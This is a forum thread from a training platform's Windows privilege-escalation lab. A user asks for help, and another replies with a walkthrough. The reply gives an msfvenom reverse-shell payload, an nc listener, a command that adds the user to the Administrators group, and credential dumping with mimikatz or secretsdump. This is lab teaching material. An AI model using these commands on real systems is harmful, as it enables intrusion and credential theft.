Windows Privilege Escalation Skills Assessment - Part II

HTB Content Academy
1

Escalate privileges to SYSTEM and submit the contents of the flag.txt file on the Administrator Desktop . Trying From A long time | Tried Many Exploits Noting Seems To Work.
Any Hint.

2

Ok, so just read this if you are really really trapped and since nobody was replying.

To get privilege escalation there is section that explains how to use CVE-2020-0668
Since I was not able to “build” the “.exe” file from the source, what I just did was downloading the .exe files provided in the section machine that explains that CVE into my Linux Machine, re-spawn the Skill Assesment Part II machine and pass the .exe files. You can easily do this sharing the “/tmp” folder from our attacker machine with the Windows target machine Network using

xfreerdp /v:<target-ip> /u:htb-student /p:'HTB_@cademy_stdnt!' /drive:linux,/tmp

so you have a “shared” folder between our Linux attacker machine and Windows target machine.

You can follow the steps as the Academy teaches.
However, when you try to get Meterpreter reverse shell, at least for me, I got the following error when I use commands:
[-] Error running command getuid: Rex::TimeoutError Send timed out

So, for this reason, instead of generating a malicious binary that uses Meterpreter, just do the old fashion way and create a simple .exe reverse shell with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp lhost=<your attacker ip> lport=<your listening port> -f exe > ma****.exe
and, before starting the “infected” service, just remember to run nc:
nc -lvnp <listening port>

To get the system network user password (which could be used in other circumstances to pivoting), you have two options:

  • Use mimikatz.exe
  • Using our privileged reverse shell, add our user to Administrators group (“net localgroup Administrators htb-student /add”), use secretsdump.py (do NOT use ‘just-dc’ flags) and crack the hashes with your favorite tool

Happy hacking

1 Like